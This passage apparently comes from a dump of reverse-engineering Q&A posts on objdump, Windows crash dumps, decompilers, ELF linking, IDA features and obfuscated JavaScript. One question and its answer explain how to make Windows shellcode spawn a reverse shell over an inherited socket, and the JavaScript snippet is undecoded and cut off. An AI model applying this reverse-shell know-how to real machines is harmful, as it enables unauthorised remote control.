&lt;__libc_start_main+415&gt;\n0x00007ffffe790905 &lt;__libc_start_main+453&gt;: jmpq   0x7ffffe7907d6 &lt;__libc_start_main+150&gt;\n</code></pre>\n\n<hr>\n\n<p>And then eventually the assembler code of <code>__GI_exit</code> (again, whose code is not seen in the objdump of the program):</p>\n\n\n\n<pre><code>0x00007ffffe7aa030 &lt;__GI_exit+0&gt;:  lea    0x38a5c1(%rip),%rsi        # 0x7ffffeb345f8 &lt;__exit_funcs&gt;\n0x00007ffffe7aa037 &lt;__GI_exit+7&gt;:  sub    $0x8,%rsp\n0x00007ffffe7aa03b &lt;__GI_exit+11&gt;: mov    $0x1,%edx\n0x00007ffffe7aa040 &lt;__GI_exit+16&gt;: callq  0x7ffffe7a9f10 &lt;__run_exit_handlers&gt;\n</code></pre>\n\n<hr>\n\n<p>And then a few more, and so on, until the program exits.</p>\n\n<hr>\n\n<p>So, my question is, how can I view this extra assembler code when <code>objdump</code>ing my dynamically linked executable?</p>\n\n<p>I tried statically compiling it as well (the file was massive when I <code>objdump</code>ed it), and there wasn't a 1-to-1 relationship in the dynamically linked code of the dynamically linked executable and the (formerly) dynamically linked code of the statically linked executable.</p>\n\n<p>I'm assuming there are some optimizations going on that contort the (formerly) dynamically linked code in the statically linked executable for the better.</p>\n\n<p>But my mission is to <code>objdump</code> the dynamically linked code in the dynamically linked executable; not to <code>objdump</code> the (formerly) dynamically linked code in the statically linked executable.</p>\n",
        "Title": "How can I objdump the assembler code of dynamically linked functions in a dynamically linked executable?",
        "Tags": "|disassembly|assembly|objdump|",
        "Answer": "<p>The point of dynamic linking a library is not including the library in the object, so the sections you want to disassemble just aren't there.\nYou could even replace the dynamic library (the .so object) with something else, which could result in different code being run by your same main program.</p>\n\n<p>So you first need to identify which dynamic objects are referenced by your program. For this, you can used <code>ldd</code>. Example:</p>\n\n<pre><code>$ cat x.c\nint main(void) {\n}\n$ cc -o x x.c\n$ ldd x\nlinux-vdso.so.1 (0x00007fff553e8000)\nlibc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff12b0fa000)\n/lib64/ld-linux-x86-64.so.2 (0x00007ff12b6ed000)\n$\n</code></pre>\n\n<p>Now you can <code>objdump</code> the files referenced here. Note you won't find the vdso anywhere; it resides in the kernel and is automatically provided for every program that runs. See <code>man 7 vdso</code> for more information.</p>\n\n<p>To see the source code, just google for glibc source; you'll find the source of the C library itself (<code>libc.so.6</code>) and the dynamic loader (<code>ld-linux-x86-64</code>) there.</p>\n"
    },
    {
        "Id": "22615",
        "CreationDate": "2019-11-25T07:16:35.603",
        "Body": "<p>I am in an interesting situation. I have very limited Windows kernel experience, so I just don't know what data structure to look for in order to find what I need to know. </p>\n\n<p>There is a driver that is crashing Windows on my host machine. I know this much from examining the memory dump from the driver. </p>\n\n<pre><code>For analysis of this file, run !analyze -v\nnt!KeBugCheckEx:\nfffff807`4cdc14e0 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffff389`040e6990=00000000000000f7\n3: kd&gt; !analyze -v\n*******************************************************************************\n*                                                                             *\n*                        Bugcheck Analysis                                    *\n*                                                                             *\n*******************************************************************************\n\nDRIVER_OVERRAN_STACK_BUFFER (f7)\nA driver has overrun a stack-based buffer.  This overrun could potentially\nallow a malicious user to gain control of this machine.\nDESCRIPTION\nA driver overran a stack-based buffer (or local variable) in a way that would\nhave overwritten the function's return address and jumped back to an arbitrary\naddress when the function returned.  This is the classic \"buffer overrun\"\nhacking attack and the system has been brought down to prevent a malicious user\nfrom gaining complete control of it.\nDo a kb to get a stack backtrace -- the last routine on the stack before the\nbuffer overrun handlers and bugcheck call is the one that overran its local\nvariable(s).\nArguments:\nArg1: fffff389040e69d0, Actual security check cookie from the stack\nArg2: 000041be41f88edc, Expected security check cookie\nArg3: ffffbe41be077123, Complement of the expected security check cookie\nArg4: 0000000000000000, zero\n\nDebugging Details:\n------------------\n\n\nKEY_VALUES_STRING: 1\n\n    Key  : Analysis.CPU.Sec\n    Value: 1\n\n    Key  : Analysis.DebugAnalysisProvider.CPP\n    Value: Create: 8007007e on DESKTOP-GS87ORM\n\n    Key  : Analysis.DebugData\n    Value: CreateObject\n\n    Key  : Analysis.DebugModel\n    Value: CreateObject\n\n    Key  : Analysis.Elapsed.Sec\n    Value: 9\n\n    Key  : Analysis.Memory.CommitPeak.Mb\n    Value: 64\n\n    Key  : Analysis.System\n    Value: CreateObject\n\n\nBUGCHECK_CODE:  f7\n\nBUGCHECK_P1: fffff389040e69d0\n\nBUGCHECK_P2: 41be41f88edc\n\nBUGCHECK_P3: ffffbe41be077123\n\nBUGCHECK_P4: 0\n\nSECURITY_COOKIE:  Expected 000041be41f88edc found fffff389040e69d0\n\nSTACK_TEXT:  \nfffff389`040e6988 fffff807`4ce7c485 : 00000000`000000f7 fffff389`040e69d0 000041be`41f88edc ffffbe41`be077123 : nt!KeBugCheckEx\nfffff389`040e6990 fffff807`4cc4066c : 00000000`00000000 fffff807`4d21a91b 00000000`00000000 fffff389`040e74c0 : nt!_report_gsfailure+0x25\nfffff389`040e69d0 fffff389`040e6960 : fffff389`040e6970 fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 : nt!NtSetInformationWorkerFactory+0x35c\nfffff389`040e6b30 fffff389`040e6970 : fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 00000000`00000000 : 0xfffff389`040e6960\nfffff389`040e6b38 fffff389`040e6980 : fffff389`040e6990 fffff389`040e69a0 00000000`00000000 00000000`00000000 : 0xfffff389`040e6970\nfffff389`040e6b40 fffff389`040e6990 : fffff389`040e69a0 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6980\nfffff389`040e6b48 fffff389`040e69a0 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6990\nfffff389`040e6b50 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e69a0\n\n\nSYMBOL_NAME:  nt!_report_gsfailure+25\n\nMODULE_NAME: nt\n\nIMAGE_NAME:  ntkrnlmp.exe\n\nSTACK_COMMAND:  .thread ; .cxr ; kb\n\nBUCKET_ID_FUNC_OFFSET:  25\n\nFAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_nt!_report_gsfailure\n\nOS_VERSION:  10.0.18362.1\n\nBUILDLAB_STR:  19h1_release\n\nOSPLATFORM_TYPE:  x64\n\nOSNAME:  Windows 10\n\nFAILURE_ID_HASH:  {82d2c1b5-b0cb-60a5-9a5d-78c8c4284f84}\n\nFollowup:     MachineOwner\n</code></pre>\n\n<p><strong>Main Question:</strong> Is it possible to directly extract the name of the crashing driver from a windows (kernel only) memory dump file? </p>\n\n<p><strong>If not, is it possible to extract that information by enabling user mode crash dumps</strong> (by this I mean the \"active\" crash dump with by user and kernel space)? </p>\n\n<p>If it is possible, <strong>where should I look for the data structure to find this information? Is there a convenient Wdbg command that will get me close?</strong> </p>\n\n<p>My main goal is to examine the root cause of the driver's crashing behavior and possibly recreate the crash myself. </p>\n",
        "Title": "Where can you find the name of a driver causing a kernel mode crash?",
        "Tags": "|windows|driver|kernel|",
        "Answer": "<p>It is possible. Take a minute to read the output from analyze. There's a few fields that will tell you what driver faulted like \"FAULTING_MODULE\", \"IMAGE_NAME\", and \"MODULE_NAME\". </p>\n\n<p>It will give you the state of the registers as well and specifically what instruction that caused the crash so you'll see something like </p>\n\n<pre><code>driver + offset:\naddresss: instruction\n</code></pre>\n\n<p>Then below that, you'll see the stack context which is pretty useful to see what's going on. If I remember correctly, the command for that it uses is \"kb\"</p>\n\n<p>If you use the .trap command for the field \"TRAP_FRAME\", you will go to the context of where it crashed too which is pretty sick. </p>\n\n<p>Anyhow, all that will give you everything you need to finish your exploit. Happy hacking!</p>\n"
    },
    {
        "Id": "22621",
        "CreationDate": "2019-11-26T02:18:57.523",
        "Body": "<p>Alright, I need to know this ASAP, I'm breaking down my own n64 console for private study on the n64 firmware and how it does what it does best.</p>\n\n<p>So, what tools would I need To break down this console?\nwould I need an n64 chip reader and writer for reading from the N64 chip inside of the console?</p>\n",
        "Title": "What, tools do I need to break down the N64 console for private study?",
        "Tags": "|firmware|hardware|",
        "Answer": "<p>I'm making an assumption that you are talking about the Nintendo 64.</p>\n\n<p>Firstly this is a gaming console, and as such, the revenue model of its creators is selling videogames. Therefore consoles should be difficult to hack and reverse engineer. This is achieved through security PLUS obscurity. This means the inner hardware is often not documented anywhere, or It is completelly custom. It is called a black box system.</p>\n\n<p>The N64 is a rather old console so you should be able to find information on the internet regarding reverse engineering it, and even pirating it (understanding enough of how It works to make It load copies of games, you might or might not have bought).</p>\n\n<p>If there is no public information you could begin by inspecting the hardware. Search for a YouTube video that shows how to unscrew the console without breaking it, a teardown. After that you should try to identify all the possible electronic elements: memories (flash, nand,RAM,etc.) , DVD drive, cartridge reader, processor, ribbons going to displays,... and most importantly, their manufacturers and if they have any name printed on them, or model number, to look for possible public datasheets on the internet.</p>\n\n<p>Afterwards it's quite possible that you are going to need your own custom hardware to interact with such components. You would like to dump any non-volatile memory on the board, to intercept any traffic on the different bus lines, etc. And understand how the protocols used work.</p>\n\n<p>The next \"steps\" are certainly subjective, specific and dependant on the architecture and security measures implemented, and what you found on the previous stages, so I cannot give you further \"general\" answer.</p>\n"
    },
    {
        "Id": "22628",
        "CreationDate": "2019-11-27T10:39:47.430",
        "Body": "<p>I'm trying to write some custom shellcode to obtain a shell from a program.\nLooking at the program intermodular calls, I found a call to <code>socket()</code>, and my initial plan was to use that to create a new socket, connect back and spawn a shell.</p>\n\n<p>I am able to to get a connection back, but unfortunately when I call <code>CreateProcessA</code>, I don't get any shell.</p>\n\n<p>After the call to <code>socket()</code> I have the socket descriptor in EAX:</p>\n\n<p><a href=\"https://i.stack.imgur.com/8lqMR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8lqMR.png\" alt=\"enter image description here\"></a></p>\n\n<p>And then, after <code>connect()</code> (which works, I get the connection back on my netcat listener), I call <code>CreateProcessA()</code> and this are the parameters:</p>\n\n<p><a href=\"https://i.stack.imgur.com/oWHjp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oWHjp.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>InheritHandles</code> is correctly set to TRUE. On the left panel I have dumped the <code>StartUpInfo</code> structure and as you can see the file descriptor is correctly added for all handles (first 3 bytes of the structure are all set to 200). Also the flag <code>STARTF_USESTDHANDLES</code> is correctly set.</p>\n\n<p>Unfortunately, this doesn't work. What surprises me is that if instead of using the address of the intermodular call to <code>socket()</code>, I use the address of <code>WSASocketA</code> (found using arwin), and without changing anything else (apart from adding the extra null arguments required for WSASocketA), I can get my shell.</p>\n\n<p>I don't understand why this is not happening with <code>socket()</code>, in fact, according to the documentation for the flag <code>WSA_FLAG_NO_HANDLE_INHERIT</code> of the <code>WSASocketA</code>:</p>\n\n<blockquote>\n  <p>Create a socket that is non-inheritable.</p>\n  \n  <p>A socket handle created by the WSASocket or the socket function is\n  inheritable by default. When this flag is set, the socket handle is\n  non-inheritable.</p>\n</blockquote>\n\n<p>So I assumed that by default it should work with both functions.</p>\n\n<p>I don't know if this is relevant, but I'm testing it against a Windows 7 machine.</p>\n",
        "Title": "Why can I inherit handles from WSASocketA and not from socket?",
        "Tags": "|windows|shellcode|",
        "Answer": "<p>Windows <code>socket()</code> creates a socket with <code>WSA_FLAG_OVERLAPPED</code> flag set and inheritable by default.</p>\n<p>Windows <code>WSASocket()</code> allows you to specify <code>WSA_FLAG_OVERLAPPED</code> and <code>WSA_FLAG_NO_HANDLE_INHERIT</code>.  If you <strong>omit</strong> both flags to <code>WSASocket()</code>, then the resulting socket will be inheritable and will not have <code>WSA_FLAG_OVERLAPPED</code> flag set.</p>\n<p>Unlike on Unix, Windows <code>SOCKET</code> is different from file descriptors or pipes.  If you pass a socket to Windows <code>CreateProcess</code> using <code>STARTF_USESTDHANDLES</code>, the socket <strong>must not</strong> have <code>WSA_FLAG_OVERLAPPED</code> flag set.</p>\n<p>You managed to (accidentally) use <code>WSASocket()</code> without flags, so created an inheritable socket without <code>WSA_FLAG_OVERLAPPED</code>, so it worked for you!</p>\n"
    },
    {
        "Id": "22631",
        "CreationDate": "2019-11-27T21:25:04.430",
        "Body": "<p>I have a list of messages from a control unit that i'm trying to replicate.\nI have the body of the message correct, however, i can't seem to work out what CRC or checksum is being utilised.</p>\n\n<pre><code>00 FE 0F 32 A8 80 84 90\n00 FE 0F 32 A8 80 84 54\n00 FE FF 31 A8 80 84 38\n00 FE 0F 32 A8 80 84 DC\n00 FE 0F 32 A8 80 84 90\n00 FE 0F 32 A8 80 84 54\n00 FE 0F 32 A8 80 84 18\n00 FE 0F 32 A8 80 84 DC\n00 FE 0F 32 A8 80 84 90\n00 FE 1F 32 A8 80 84 44\n00 FE 0F 32 A8 80 84 18\n00 FE 0F 32 A8 80 84 DC\n00 FE AF 31 A8 80 84 4C\n00 FE BF 31 A8 80 84 F0\n00 FE CF 31 A8 80 84 A4\n</code></pre>\n\n<p>I know the checksum is the last 4 bits in the last byte of the message. the other 4 bits in the last byte are a counter, that counts from 0 to 3 and then wraps back around.</p>\n\n<p>I know the whole message is little endian as well.</p>\n\n<p>I have run this in reveng (probably done it wrong) and it does not return any results.</p>\n\n<p>I was hoping someone smarter than me would be able to assist with identifying this.</p>\n",
        "Title": "Finding the CRC / Checksum in a control unit message",
        "Tags": "|crc|",
        "Answer": "<p>I found the answer:\nits not CRC, but rather: 16 - (Sum of Byte 0 to 7 % 16)</p>\n"
    },
    {
        "Id": "22632",
        "CreationDate": "2019-11-28T14:03:39.120",
        "Body": "<p>The title asks it all tho\nBut cheat engine will not allow you to save the patch binary so\nwhat methods can I try to save it after I patch it in cheat engine?</p>\n",
        "Title": "How to save a binary after patching it in cheat engine?",
        "Tags": "|patching|cheat-engine|",
        "Answer": "<p>I\u2019m not entirely sure how you would use Cheat Engine to do that but I have done that quite a bit using Immunity/WinDbg. What you do is patch the portion you\u2019re interested in and then apply the changes and write to a new exe.</p>\n\n<p>If this is something you see yourself doing quite a bit, you can program it and do it that way. If you end up going that route, you can use <a href=\"https://github.com/erocarrera/pefile\" rel=\"nofollow noreferrer\">pefile</a> with Python or put a little bit more work in and do it in C/CPP. </p>\n"
    },
    {
        "Id": "22634",
        "CreationDate": "2019-11-28T22:14:56.437",
        "Body": "<p>I'm testing several decompilers about struct reconstruction, given the following <code>C</code> example:</p>\n\n\n\n<pre><code>struct S {\n    int x;\n    int y;\n    long z;\n    long t;\n};\n\nint foo(struct S s) {\n    return s.x + s.y + s.z + s.t;\n}\n\nint main() {\n    struct S s;\n    s.x = 10; s.y = 15; s.z = 20; s.t = 25;\n    return foo(s);\n}\n</code></pre>\n\n<p>compiled without any optimization (even no stripping) using <code>clang</code> as a 64-bit ELF, i.e. the ABI is <code>System V x86-64</code>.</p>\n\n<p>I've supposed that this is a trivial case so the decent decompilers should give correct results, they are not unfortunately.</p>\n\n<p>Following result is given by <a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow noreferrer\"><code>IDA 7.4.191122</code></a>:</p>\n\n\n\n<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 v3; // r8\n  __int64 v4; // r9\n\n  return foo(*(__int64 *)&amp;argc, (__int64)argv, (__int64)envp, 20LL, v3, v4, 0xF0000000ALL, 20, 25);\n}\n\n__int64 __fastcall foo(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, int a8, int a9)\n{\n  return (unsigned int)(a9 + a8 + HIDWORD(a7) + a7);\n}\n</code></pre>\n\n<p>Next, <a href=\"https://www.pnfsoftware.com/\" rel=\"nofollow noreferrer\"><code>JEB 3.7.0</code></a>:</p>\n\n\n\n<pre><code>unsigned long main() {\n  return foo();\n}\n\nunsigned long foo() {\n  unsigned int v0 = v1 + v2;\n  return (unsigned long)(((unsigned int)(((long)v0 + v3 + v4)));\n}\n</code></pre>\n\n<p>and <a href=\"https://ghidra-sre.org/\" rel=\"nofollow noreferrer\"><code>Ghidra 9.1</code></a></p>\n\n\n\n<pre><code>void main(void)\n{\n  foo();\n  return;\n}\n\nulong foo(void)\n{\n  int param_7;\n  undefined8 param_7_00;\n  int iStack000000000000000c;\n  long param_8;\n  long param_9;\n\n  return (param_7 + iStack000000000000000c) + param_8 + param_9 &amp; 0xffffffff;\n}\n</code></pre>\n\n<p>I cannot say that the results are \"good\", they are not even correct. Did I miss some configuration for these decompilers?</p>\n\n<p><strong>Edit:</strong> Because of request from @Tobias, I've added assembly code for the functions (and changed <code>main</code> into <code>bar</code>):</p>\n\n<p>This is <code>foo</code>:</p>\n\n\n\n<pre><code>0x0         55                                   push rbp\n0x1         48 89 e5                             mov rbp, rsp\n0x4         48 8d 45 10                          lea rax, [rbp+0x10]\n0x8         8b 08                                mov ecx, [rax]\n0xa         03 48 08                             add ecx, [rax+0x8]\n0xd         48 63 d1                             movsxd rdx, ecx\n0x10        48 03 50 10                          add rdx, [rax+0x10]\n0x14        48 03 50 18                          add rdx, [rax+0x18]\n0x18        48 0f be 40 04                       movsx rax, byte ptr [rax+0x4]\n0x1d        48 01 c2                             add rdx, rax\n0x20        89 d0                                mov eax, edx\n0x22        5d                                   pop rbp\n0x23        c3                                   ret\n\n</code></pre>\n\n<p>and <code>bar</code>:</p>\n\n\n\n<pre><code>0x30        55                                   push rbp\n0x31        48 89 e5                             mov rbp, rsp\n0x34        48 83 ec 40                          sub rsp, 0x40\n0x38        c7 45 e0 0a 00 00 00                 mov dword ptr [rbp-0x20], 0xa\n0x3f        c7 45 e8 0f 00 00 00                 mov dword ptr [rbp-0x18], 0xf\n0x46        48 c7 45 f0 14 00 00 00              mov qword ptr [rbp-0x10], 0x14\n0x4e        48 c7 45 f8 19 00 00 00              mov qword ptr [rbp-0x8], 0x19\n0x56        c6 45 e4 1e                          mov byte ptr [rbp-0x1c], 0x1e\n0x5a        48 8d 45 e0                          lea rax, [rbp-0x20]\n0x5e        48 8b 08                             mov rcx, [rax]\n0x61        48 89 0c 24                          mov [rsp], rcx\n0x65        48 8b 48 08                          mov rcx, [rax+0x8]\n0x69        48 89 4c 24 08                       mov [rsp+0x8], rcx\n0x6e        48 8b 48 10                          mov rcx, [rax+0x10]\n0x72        48 89 4c 24 10                       mov [rsp+0x10], rcx\n0x77        48 8b 40 18                          mov rax, [rax+0x18]\n0x7b        48 89 44 24 18                       mov [rsp+0x18], rax\n0x80        e8 7b ff ff ff                       call foo\n0x85        48 83 c4 40                          add rsp, 0x40\n0x89        5d                                   pop rbp\n0x8a        c3                                   ret\n</code></pre>\n",
        "Title": "Struct reconstruction in decompilers",
        "Tags": "|decompilation|elf|struct|",
        "Answer": "<p>There are several things in your example that makes it hard to decompile.</p>\n\n<p><code>s</code> is the first, and only, local (so on the stack) variable in main(). main() is troublesome, as it's more or less a vararg-function if you read the C++ standard, and as you can see atleast IDA guesses that you have three arguments on the stack.</p>\n\n<p>You use both int and long in your struct definition, which may or may not create either padding of the stack or masking in the generated code. It can also be one way where you declare it (main) and another way when passing it by value to a (leaf-)function.</p>\n\n<p>And, foo() is a leaf-function, meaning it will have a red-zone on the stack that could possibly be used.</p>\n\n<p>Try putting <code>s</code> on the heap instead, and you will probably see a very different result :)</p>\n\n<p>What does the disassembly look like?</p>\n\n<p>Edit: Oh the disassembly really drives the point home! The point being that LLVM depends on how well-suited the IR is to optimization, as before optimization the code looks like someone who licks rocks built it from lego. And then threw the rock at it :D No wonder it confuses decompilers :) Look at that funny byte-size \"bonus parameter\" and the \"nonsensical\" movsx-instructions for example.</p>\n\n<p>Anyways, serious face-time again. The red zone isn't used. The prologue isn't even needed as nothing is stored on the stack, all calculations are done on RCX and RAX. Now that you've gotten rid of any stack-variables in main(), the thing tripping you up is that you're passing a small, stack-allocated, structure by value. What in C looks like passing a single blob as argument is actually treating each field like a separate argument. I am guessing both IDA and Ghidra would be able to make sense of this if it wasn't for the \"alignment\"(?)-byte thrown in there. Or perhaps not, as the assembly might still look like it's passing four separate arguments on the stack :|</p>\n\n<p>Tl;dr: clang generates really strange code unless optimized. Coupled with passing a stack-allocated struct by value it will confuse the hell out of both decompilers and sleepy reverse engineers such as myself. Take this opportunity to kick the habit of passing structs by-value and learn to love the const-refs ;)</p>\n"
    },
    {
        "Id": "22640",
        "CreationDate": "2019-11-29T12:21:21.150",
        "Body": "<p>(in Windows) PE file format contains Import table with <code>Module\\Dll Name</code> which tells PE loader where to search for symbol e.g. <code>KERNEL32.dll -&gt; CreateFileW</code></p>\n\n<p>In the ELF file format there is <code>Symbol table</code> with <code>info</code> field which tells if the symbol is <code>Global\\Local\\Weak\\etc.</code></p>\n\n<p>My question is how does the Unix loader know what is the module, shared object where to search for this symbol e.g. <code>???? -&gt; snprintf</code></p>\n\n<p>I noticed objdump can dump this info <code>objdump -T /bin/ls</code>.\n<a href=\"https://i.stack.imgur.com/laK3P.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/laK3P.png\" alt=\"enter image description here\"></a>\n <code>GLIBC_2.2.5 snprintf</code></p>\n\n<p>Could someone with more knowledge on ELF file format shed some light on Unix dynamic-linking?</p>\n",
        "Title": "ELF file format find shared object for symbol",
        "Tags": "|elf|dynamic-linking|",
        "Answer": "<blockquote>\n  <p>how does the Unix loader know what is the module,\n  shared object where to search for this symbol</p>\n</blockquote>\n\n<p>Short answer: it does not. It just searches the whole list of loaded modules until the symbol is found (or not). A small degree of control over more exact symbol matching can be achieved via versioned symbols but otherwise it's pretty much a free-for-all.</p>\n\n<p>By design, the ELF symbol space is <strong>global</strong> (or flat) so any symbol can be <em>preempted</em> by another module. This is used for example when <a href=\"http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/\" rel=\"nofollow noreferrer\">hooking symbols via LD_PRELOAD_LIBRARY environment variable</a>.</p>\n"
    },
    {
        "Id": "22647",
        "CreationDate": "2019-11-30T17:59:51.780",
        "Body": "<p>Is it possible to call a function of a binary and obtain its result (without calling other functions), to isolate; are there any tools to do this?</p>\n",
        "Title": "Isolate the call to a function",
        "Tags": "|x86-64|assembly|",
        "Answer": "<p>You can use Ida's <a href=\"https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf\" rel=\"nofollow noreferrer\">Appcall</a> functionality:</p>\n\n<blockquote>\n  <p>Appcall is a mechanism to call functions inside the debugged program\n  from the debugger or your script as if it were a built-in function.\n  Such a mechanism can be used for debugging, fuzzing and testing\n  applications. Appcall mechanism highly depends on the type information\n  of the function to be called. For that reason it is necessary to have\n  a correct function prototype before doing an Appcall, otherwise\n  different or incorrect results may be returned.</p>\n</blockquote>\n\n<p>If it's an elf and you don't have Ida, <a href=\"https://lief.quarkslab.com\" rel=\"nofollow noreferrer\">LIEF</a> is a good option. You can see a tutorial to export an internal function and call it <a href=\"https://lief.quarkslab.com/doc/latest/tutorials/08_elf_bin2lib.html\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "22668",
        "CreationDate": "2019-12-03T15:24:14.510",
        "Body": "<p>I'm debugging some code and I know that there's a structure in memory, I have a definition of the structure, I apply it on memory, then I look at the structure field values, and I see that one of the fields of the structure contains the wrong value. Is there any way to change the structure field value?</p>\n\n<p>Currently I have to look for the offset of the field in structure definitions, then undefine the structure in memory, then go to the proper offset, change the value and reapply the structure again.</p>\n",
        "Title": "Is there a way to edit structure field value in memory during debug",
        "Tags": "|ida|",
        "Answer": "<p>In IDA, you can setup a breakpoint and use its <code>condition</code> property in Edit Breakpoint.\nThis way you can modify registers, memory, or even perform very complex actions using IDC scripting, for example:</p>\n<pre><code>patch_dbg_byte(rcx+2,0),0\n</code></pre>\n<p>Above will clear byte at address <code>rcx+2</code> when breakpoint is hit.</p>\n"
    },
    {
        "Id": "22679",
        "CreationDate": "2019-12-06T17:52:04.303",
        "Body": "<p>I am trying to deobfuscate this javascript code, but I don't know how it was created. Can you please tell me what the mechanism or the function is that generate such characters in javascript?</p>\n\n<pre><code>\u00c9=-~-~[],\u00f3=-~\u00c9,\u00cb=\u00c9&lt;&lt;\u00c9,\u00fe=\u00cb+~[];\u00cc=(\u00f3-\u00f3)[\u00db=(''+{})[\u00c9+\u00f3]+(''+{})[\u00f3-\u00c9]+([].\u00f3+'')[\u00f3-\u00c9]+(!!''+'')[\u00f3]+({}+'')[\u00f3+\u00f3]+(!''+'')[\u00f3-\u00c9]+(!''+'')[\u00c9]+(''+{})[\u00c9+\u00f3]+({}+'')[\u00f3+\u00f3]+(''+{})[\u00f3-\u00c9]+(!''+'')[\u00f3-\u00c9]][\u00db];\u00cc(\u00cc((!''+'')[\u00f3-\u00c9]+(!''+'')[\u00f3]+(!''+'')[\u00f3-\u00f3]+(!''+'')[\u00c9]+((!''+''))[\u00f3-\u00c9]+([].$+'')[\u00f3-\u00c9]+'\\''+''+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3-\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3+\u00f3)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00fe)+(\u00c9+\u00f3)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00f3+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3+\u00f3)+(\u00c9)+'\\\\'+(\u00f3+\u00f3)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00fe)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00c9+\u00c9)+(\u00fe)+'\\\\'+(\u00c9+\u00f3)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00fe)+(\u00f3)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00c9)+(\u00f3-\u00c9)+'\\\\'+(\u00f3-\u00c9)+(\u00c9+\u00f3)+(\u00c9+\u00c9)+'\\\\'+(\u00f3-\u00c9